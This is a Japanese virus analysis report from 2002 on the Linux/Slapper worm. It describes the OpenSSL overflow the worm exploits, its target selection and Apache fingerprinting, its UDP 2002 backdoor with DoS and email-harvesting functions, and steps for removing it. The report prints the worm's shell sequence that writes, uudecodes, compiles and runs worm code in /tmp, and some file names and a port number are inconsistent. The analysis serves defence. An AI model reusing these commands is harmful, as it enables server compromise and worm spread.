

ウィルス解析報告書

ウイルス名	Linux/Slapper (Apache/SSL_mod worm, ELF_SLAPPER.A)
プログラム名及び容量 (添付ファイル名)	.bagtraq(56,167バイト)
種別	ワーム
プログラム言語	C言語
発症環境	即時
発見日時	2002年9月14日(日本時間)
発見場所(発信地)	不明
危険性	中程度(5段階では3程度)
発症条件	OSがLinuxでApacheが動作している環境のうち、OpenSSLにオーバーフローセキュリティホールがある環境。(バージョン0.9.6e, 0.9.7-beta2)
ウイルスの活動、影響	<p>このワームはLinux上でWebサーバーのApacheが動作している環境を対象としている。</p> <p>ApacheのモジュールであるOpenSSLには、ハンドシェイク時にバッファオーバーフローを起こさせて任意のコードが実行可能なセキュリティホールがあり、このワームはそれを利用して管理権限を奪取する。</p> <p>管理権限を得たSlapperワームはシェルを起動し、ワームを送り込むためのコマンドを実行させるとともに、攻撃側サーバーからネットワークを通じてUUエンコード形式のワームを送り込む。これは/tmp/.uubugtraqというファイル名で作成される。</p> <p>ワームは/tmp/.uubagtraqをUUデコードし、/tmp/.bagraq.cファイルを作成する。これをコンパイルして/tmp/.bagtraqプログラムファイルを作成し、プロセスとして実行することによって、さらにネットワーク外部のApacheサーバーを検索し、同様に攻撃および侵入を行う。</p> <p>また、ワームはUDPポート2002を開いて待機状態となり、外部からのコマンドによって動作するバックドアとしての動作を行う。これはDoS攻撃の機能などを持っている。</p>
被害の規模	被害届出数1件(日本国内、2002年9月17日)
亜種、変種の有無	不明。ただしこのワームはFreeBSD/Scalperの改造種である可能性が高い。
	<p>ワームはApacheの脆弱性を利用して自分自身を他のWebサーバへコピーする部分とバックドアとして動作する部分に分けることができる。</p> <p>以下はApacheの脆弱性を利用して攻撃する部分である。</p> <p>ワームは実行されると乱数で攻撃対象のIPアドレスを求める。IPアドレスの先頭は</p> <p>3,4,6,8,9,11,12,13,14,15,16,17,18,19,20,21,22,24,25,26,28,29,30,32,33,34,35,38, 40,43,44,45, 46,47,48,49,50,51,52,53,54,55,56,57,61,62,63,64,65,66,67,68,80,81, 128,129,130,131,132,133, 134,135,136,137,138,139,140,141,142,143,144,145,146, 147,148,149,150,151,152,153,154, 155,156,157,158,159,160,161,162,163,164,165, 166,167,168,169,170,171,172,173,174,175, 176,177,178,179,180,181,182,183,184, 185,186,187,188,189,190,191,192,193,194,195,196, 198,199,200,201,202,203,204, 205,206,207,208,209,210,211,212,213,214,215,216,217,218, 219,220,224,225,226, 227,228,229,230,231,232,233,234,235,236,237,238,239</p> <p>の何れかが乱数で選択される。IPアドレスの2番目は0~255までの乱数となる。そして3番目と4番目は順に加算されることで0から255の範囲になる。</p> <p>xxx.yyy.0.0からxxx.yyy.255.255までを攻撃する。ワームは65536回攻撃を行ったら、はじめに行ったのと同様に乱数でIPアドレスの1番目と2番目を求める。ワームはforkを呼び出してプロセスを分岐させて攻撃ルーチンを呼び出す。</p> <p>ワームはポート80に「GET / HTTP/1.1¥r¥n¥r¥n」を送信する。そして受信したデータから「Server:」を探し、その後が「Apache」である場合にはApacheのバージョンをチェックする。下記の文字列が両方含まれているときには、そのバージョンに適した攻撃を行う。ただし「Gentoo」は単独はバージョンのチェックはない。</p>

ウイルス動作概要	<p>いずれでもなければワームはRed HatでApacheのバージョンは1.3.23とみなす。</p> <p>Gentoo Debian, 1.3.26 Red-Hat, 1.3.6 Red-Hat, 1.3.9 Red-Hat, 1.3.12 Red-Hat, 1.3.12 Red-Hat, 1.3.19 Red-Hat, 1.3.20 Red-Hat, 1.3.26 Red-Hat, 1.3.23 Red-Hat, 1.3.22 SuSE, 1.3.12 SuSE, 1.3.17 SuSE, 1.3.19 SuSE, 1.3.20 SuSE, 1.3.23 SuSE, 1.3.23 Mandrake, 1.3.14 Mandrake, 1.3.19 Mandrake, 1.3.20 Mandrake, 1.3.23 Slackware, 1.3.26 Slackware, 1.3.26</p> <p>したがってRed HatのApache 1.3.23(に付随するOpenSSL)と全く同じ脆弱性があるなら、異なる環境でも攻撃は成功する可能性がある。 ワームはポート433に接続する。 TERM=xterm; export TERM=xterm; exec bash -i rm -rf /tmp/.bugtraq.c;cat > /tmp/.uubugtraq << _eof_; 送り手側は「/tmp/.bugtraq.c」を開いてそれをUUENCODEし、送信する。 さらに _eof_ /usr/bin/uudecode -o /tmp/.bugtraq.c /tmp/.uubugtraq;gcc -o /tmp/.bugtraq /tmp/.bugtraq.c -lcrypto;/tmp/.bugtraq %s;exit; を送信する。 %sはIPアドレス。 以上がApache+OpenSSLの脆弱性を利用して攻撃する部分である。</p> <p>以下はバックドアとして動作する部分である。 ワームはプログラム開始時にコマンドを送信して、自らのIPアドレスを登録する。 ワームはUDPポート2002を開いて待機する。ワームは無限ループ内部で各コマンドに分岐してそれぞれの動作を行う。</p> <ul style="list-style-type: none"> ・バージョンを返す。 ・コマンドを実行する。 ・DoS攻撃(UDP) ・DoS攻撃(TCP) ・DoS攻撃(IPv6) ・DoS攻撃(DNS) ・ルートから再帰的にメールアドレスを収集する。 ・IPアドレス登録 ・IPアドレスリスト受信 ・IPアドレスリスト送信 ・IPアドレス送信 ・IPアドレス収集 ・データを中継する <p>以上がバックドアとして動作する部分である。</p>
感染・発症防止方法	OpenSSLのアップデート。
ウイルスの駆除方法	<p>< 確認 > /tmp/.bagtraqファイルが存在し、psコマンドでこのファイルがプロセスとして実行されている場合は感染している。</p> <p>< 駆除 > killall -9 .bagtraqでワームプロセスをすべて終了し、/tmp/.bagtraqファイルを削除する。</p>
その他	報告書作成:2002年9月19日現在

Linux/Slapper (Apache/SSL_mod worm) フローチャート

